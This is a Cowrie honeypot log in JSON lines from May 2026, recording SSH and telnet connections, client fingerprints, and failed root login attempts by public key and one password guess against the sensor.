{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.480411Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.554928Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:17:8a:b4:0a:8d:9f:3a:4e:c4:7c:70:5d:cb:54:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAxJCk1+6Fneo2k64gIkoaFyVnExevBNnAiRNDQb9PEDA8HeXE/PdthPE72C9Y1ne+c1wrZD610bmrSXKnMWTsgjwfz3ffimaVnO6K/xcpq1FhLxIyyKqQVlzNJ0Rzrg3VHJgdEUrEfUFc4uWGIy9leFanNSBoD6A4qBGVz6/XujbRpn6NSOlWJiKO9Sw1Q3mnVeZlCct+IHN4BtJrt47oPtrxbbjpGkfrqK2MBO9VLKYlT05Fxi0TkK078N6ssoa1zpHE8L3ymCSDeH204LWAk+dJClK8LevPfyjEcHkwJPDG1N1zzMVguIFHB5VWQhaqzXduoN8yLg8gjWR2zy1wc5o/sjJWpFdMebvhF9nUB+TgQCXjRw+peiWPcpl+z1wU9PyPOCKfQubCO5Pg7P9rCJRncNLcjNN0r608dUDR2C20WyGNQG/ofRoWkxSrFCjc5c6AuEuoNLiZ6dOSU0j2wg1AV/9rg+5VSPFdfum9Yo4mYELdSsbiNGn+AKZqy9+K45DIeSJT+CPuM5/GwuiTVyHfy09QgDzT1rGVWz++A5LGFzGQWv6QE6zkWbwd2eVk/Ztf05x4B81nATRSFpMnyBd+bH5yl5hwQCpp5LhgO6yMGA/aDDL3cmtrjF3MxM/2sQlR8rYe6KCCz/7bdhtej72LepN5xYw3kzu2/mbBHwc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:17:8a:b4:0a:8d:9f:3a:4e:c4:7c:70:5d:cb:54:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.874000Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:17:8a:b4:0a:8d:9f:3a:4e:c4:7c:70:5d:cb:54:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAxJCk1+6Fneo2k64gIkoaFyVnExevBNnAiRNDQb9PEDA8HeXE/PdthPE72C9Y1ne+c1wrZD610bmrSXKnMWTsgjwfz3ffimaVnO6K/xcpq1FhLxIyyKqQVlzNJ0Rzrg3VHJgdEUrEfUFc4uWGIy9leFanNSBoD6A4qBGVz6/XujbRpn6NSOlWJiKO9Sw1Q3mnVeZlCct+IHN4BtJrt47oPtrxbbjpGkfrqK2MBO9VLKYlT05Fxi0TkK078N6ssoa1zpHE8L3ymCSDeH204LWAk+dJClK8LevPfyjEcHkwJPDG1N1zzMVguIFHB5VWQhaqzXduoN8yLg8gjWR2zy1wc5o/sjJWpFdMebvhF9nUB+TgQCXjRw+peiWPcpl+z1wU9PyPOCKfQubCO5Pg7P9rCJRncNLcjNN0r608dUDR2C20WyGNQG/ofRoWkxSrFCjc5c6AuEuoNLiZ6dOSU0j2wg1AV/9rg+5VSPFdfum9Yo4mYELdSsbiNGn+AKZqy9+K45DIeSJT+CPuM5/GwuiTVyHfy09QgDzT1rGVWz++A5LGFzGQWv6QE6zkWbwd2eVk/Ztf05x4B81nATRSFpMnyBd+bH5yl5hwQCpp5LhgO6yMGA/aDDL3cmtrjF3MxM/2sQlR8rYe6KCCz/7bdhtej72LepN5xYw3kzu2/mbBHwc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.877938Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:1e:4e:10:d5:e7:b3:63:33:35:7d:fd:72:0e:bc:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnyR9YgeeTDTg6x8dwbmd2E/nNTOEO/7ru39UJ5kIgK50e+bwd09eGPBVTLPe+nSlyF2bU1zf/j8m+ZKBwyjqrXvr7MC6YchidXSdAMNWMOrn5lIk6VMCaeVmDOzcyq7sV53oUAVIzvMzAz5X/5+ee/YXL8qqjEHmJzVz/nazlAyrgRS3m2v9yLmnG/mcMxFsDqwkwaL/R/55NlzEGtgmd17IUyMFlyLmb2xpPcOcJ9yikntrfskTY4xRoavl7ghV+h8bjmEb6UR5oKkK+3cW3F0CnrCFBg6dSD0vUPqmk+dgu8aMOiLP9MVLnOhcnPiiAC0w+D/HcdZzADOxtgUtMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:1e:4e:10:d5:e7:b3:63:33:35:7d:fd:72:0e:bc:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.948336Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:1e:4e:10:d5:e7:b3:63:33:35:7d:fd:72:0e:bc:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnyR9YgeeTDTg6x8dwbmd2E/nNTOEO/7ru39UJ5kIgK50e+bwd09eGPBVTLPe+nSlyF2bU1zf/j8m+ZKBwyjqrXvr7MC6YchidXSdAMNWMOrn5lIk6VMCaeVmDOzcyq7sV53oUAVIzvMzAz5X/5+ee/YXL8qqjEHmJzVz/nazlAyrgRS3m2v9yLmnG/mcMxFsDqwkwaL/R/55NlzEGtgmd17IUyMFlyLmb2xpPcOcJ9yikntrfskTY4xRoavl7ghV+h8bjmEb6UR5oKkK+3cW3F0CnrCFBg6dSD0vUPqmk+dgu8aMOiLP9MVLnOhcnPiiAC0w+D/HcdZzADOxtgUtMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:11.952600Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:22:23:c6:19:b8:ea:8e:c0:f3:59:a9:72:eb:83:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNli6z/vEcZTQKlQgr7wEUIMZKXlRmyxsTVSrAWY8AgISVuOBCID+fENcEl5a6P4KZN9LpbsuBSq4I5jFO1DVbnDD9S7p7K0MnaoHe/SaLvlawtff6LDopscXeHBmtE0/8y4yTKxSNIArGxImahif7ZOcrDXR4MqHfdNyBPOOZ+ko7B2oQsLSffxHDd8k5JeyJIJKQf66+hH3Mobe5UIAOODEYgzjrma0Jqyk7L7dwLWfwtsLwu2PdedQHBHVL8LScRPgV93EMJ25kphkjh4sQusGBnxQ7vT8/NzHmEhlHsjr+8v6dpKoYCiQOauUCNKVU3MLaw/VpXmq6bAvpwMb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:22:23:c6:19:b8:ea:8e:c0:f3:59:a9:72:eb:83:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.022344Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:22:23:c6:19:b8:ea:8e:c0:f3:59:a9:72:eb:83:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQNli6z/vEcZTQKlQgr7wEUIMZKXlRmyxsTVSrAWY8AgISVuOBCID+fENcEl5a6P4KZN9LpbsuBSq4I5jFO1DVbnDD9S7p7K0MnaoHe/SaLvlawtff6LDopscXeHBmtE0/8y4yTKxSNIArGxImahif7ZOcrDXR4MqHfdNyBPOOZ+ko7B2oQsLSffxHDd8k5JeyJIJKQf66+hH3Mobe5UIAOODEYgzjrma0Jqyk7L7dwLWfwtsLwu2PdedQHBHVL8LScRPgV93EMJ25kphkjh4sQusGBnxQ7vT8/NzHmEhlHsjr+8v6dpKoYCiQOauUCNKVU3MLaw/VpXmq6bAvpwMb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.026545Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:3f:a3:38:18:b4:be:6e:71:4b:f2:a2:3c:95:0e:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0o6pS2hSjhbRFa7h4YVGvIYGAEJvCBIiMSRZpnjDREavNMkecpyOM05c+9bBMugpw3mC6RtIc74KRvOZ/30+H70afdrtNq3KrE1oDwjdqEPCpNsRtFAfUJED/HXsOCnj4u/fW3LDnrH48GxPmhDqT20FV448MM/CO34Sd6Rawo7lQgmzw94G+yiWYg+POitmJGC9/42ffm+w9HqqrlunTtznFI/B24vxl8o5PCRu0tWJwIp+V1aayhCezY6Ofmx5PXcHStCq3Xh00ygJJFcJ/W2kH0+xjdbO2Id43QyRlEESKdchCgMfZn7eo/hzjApFD0hxQ3NEagc1fss3RVGr1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:3f:a3:38:18:b4:be:6e:71:4b:f2:a2:3c:95:0e:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.098983Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:3f:a3:38:18:b4:be:6e:71:4b:f2:a2:3c:95:0e:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0o6pS2hSjhbRFa7h4YVGvIYGAEJvCBIiMSRZpnjDREavNMkecpyOM05c+9bBMugpw3mC6RtIc74KRvOZ/30+H70afdrtNq3KrE1oDwjdqEPCpNsRtFAfUJED/HXsOCnj4u/fW3LDnrH48GxPmhDqT20FV448MM/CO34Sd6Rawo7lQgmzw94G+yiWYg+POitmJGC9/42ffm+w9HqqrlunTtznFI/B24vxl8o5PCRu0tWJwIp+V1aayhCezY6Ofmx5PXcHStCq3Xh00ygJJFcJ/W2kH0+xjdbO2Id43QyRlEESKdchCgMfZn7eo/hzjApFD0hxQ3NEagc1fss3RVGr1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.102703Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:63:43:4a:80:7b:7c:06:04:30:68:9e:34:10:19:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EtZpDOaG4IJ21FWwYCzK27xaL6UvvxlqScsuOloEut4mAE6/dfWoK1Z1/fh3AWbWCdcQadzMySuyVrrLbtXhhaEupKWFaq6U0E9tapXc4lwg6vg4y6C7QMM5N4pjG0BEGJ+yk8wqyFqxG+Miy9infOZ56pC5cEKh57AXU1Tsp9wSdrB3TdP5alRt31t+ldpsWDMLvFrEHwRH1Iqvln6ijIscr1cCCD/VttVZRojoF4JuiqCQnQOmMV8631EtP0STizdWfId2obypE3NCFJZu1ygXPegfcFztf/BykMGiCWEb6FJ1XElA6bCXKSVEssPJIicJ86ddpX71MafdRSxl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:63:43:4a:80:7b:7c:06:04:30:68:9e:34:10:19:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.171417Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:63:43:4a:80:7b:7c:06:04:30:68:9e:34:10:19:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6EtZpDOaG4IJ21FWwYCzK27xaL6UvvxlqScsuOloEut4mAE6/dfWoK1Z1/fh3AWbWCdcQadzMySuyVrrLbtXhhaEupKWFaq6U0E9tapXc4lwg6vg4y6C7QMM5N4pjG0BEGJ+yk8wqyFqxG+Miy9infOZ56pC5cEKh57AXU1Tsp9wSdrB3TdP5alRt31t+ldpsWDMLvFrEHwRH1Iqvln6ijIscr1cCCD/VttVZRojoF4JuiqCQnQOmMV8631EtP0STizdWfId2obypE3NCFJZu1ygXPegfcFztf/BykMGiCWEb6FJ1XElA6bCXKSVEssPJIicJ86ddpX71MafdRSxl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.175522Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:12.246266Z","src_ip":"108.181.2.243","session":"0c68125bd03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01574420928955,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:33.460989Z","src_ip":"38.41.2.225","session":"695079356aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00444602966309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:44.701392Z","src_ip":"190.246.190.125","session":"c68bd9b33a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":55772,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3d3c38416f","protocol":"telnet","message":"New connection: 190.246.190.125:55772 (10.17.0.5:23) [session: 5e3d3c38416f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:47.517199Z"}
{"eventid":"cowrie.session.closed","duration":120.0035183429718,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:50.877531Z","src_ip":"190.246.190.125","session":"799d355377aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":56286,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbf2928440fe","protocol":"telnet","message":"New connection: 190.246.190.125:56286 (10.17.0.5:23) [session: bbf2928440fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:53.441503Z"}
{"eventid":"cowrie.session.closed","duration":120.00506377220154,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:57.039156Z","src_ip":"190.246.190.125","session":"5665a3b72342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":56938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a0971d2539","protocol":"telnet","message":"New connection: 190.246.190.125:56938 (10.17.0.5:23) [session: e3a0971d2539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:57:59.672379Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.122.77.107","src_port":1041,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d98dcf96d6c","protocol":"telnet","message":"New connection: 124.122.77.107:1041 (10.17.0.5:23) [session: 6d98dcf96d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:21.907885Z"}
{"eventid":"cowrie.session.closed","duration":13.308992624282837,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:35.216755Z","src_ip":"124.122.77.107","session":"6d98dcf96d6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00406432151794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:47.521131Z","src_ip":"190.246.190.125","session":"5e3d3c38416f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00323534011841,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:53.444619Z","src_ip":"190.246.190.125","session":"bbf2928440fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f853824deae3","protocol":"telnet","message":"New connection: 190.246.190.125:40504 (10.17.0.5:23) [session: f853824deae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:54.227968Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":40746,"dst_ip":"10.17.0.5","dst_port":23,"session":"6501782c60b4","protocol":"telnet","message":"New connection: 190.246.190.125:40746 (10.17.0.5:23) [session: 6501782c60b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:56.297575Z"}
{"eventid":"cowrie.session.closed","duration":120.00502705574036,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:59:59.677256Z","src_ip":"190.246.190.125","session":"e3a0971d2539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.246.190.125","src_port":41194,"dst_ip":"10.17.0.5","dst_port":23,"session":"865bfd62f7f3","protocol":"telnet","message":"New connection: 190.246.190.125:41194 (10.17.0.5:23) [session: 865bfd62f7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:01.270819Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":23006,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f599f76fede","protocol":"ssh","message":"New connection: 113.190.252.123:23006 (159.203.135.109:22) [session: 8f599f76fede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:11.924912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:11.929504Z","src_ip":"113.190.252.123","session":"8f599f76fede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:12.439587Z","src_ip":"113.190.252.123","session":"8f599f76fede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:13.974723Z","src_ip":"113.190.252.123","session":"8f599f76fede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:00:15.494074Z","src_ip":"113.190.252.123","session":"8f599f76fede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03398251533508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:01:54.261770Z","src_ip":"190.246.190.125","session":"f853824deae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00348401069641,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:01:56.300932Z","src_ip":"190.246.190.125","session":"6501782c60b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00587201118469,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:02:01.276553Z","src_ip":"190.246.190.125","session":"865bfd62f7f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":50048,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f31c225ac87","protocol":"telnet","message":"New connection: 167.71.238.254:50048 (10.17.0.5:23) [session: 6f31c225ac87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:02:14.898722Z"}
{"eventid":"cowrie.session.closed","duration":82.80653214454651,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:03:37.705122Z","src_ip":"167.71.238.254","session":"6f31c225ac87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"934e71aceda2","protocol":"telnet","message":"New connection: 167.71.238.254:33368 (10.17.0.5:23) [session: 934e71aceda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:04:53.883513Z"}
{"eventid":"cowrie.session.closed","duration":17.66791319847107,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:05:11.551261Z","src_ip":"167.71.238.254","session":"934e71aceda2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.195","src_port":18144,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc1a3430996f","protocol":"ssh","message":"New connection: 92.118.39.195:18144 (10.17.0.5:22) [session: dc1a3430996f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:06:35.978518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:06:35.983597Z","src_ip":"92.118.39.195","session":"dc1a3430996f","protocol":"ssh"}
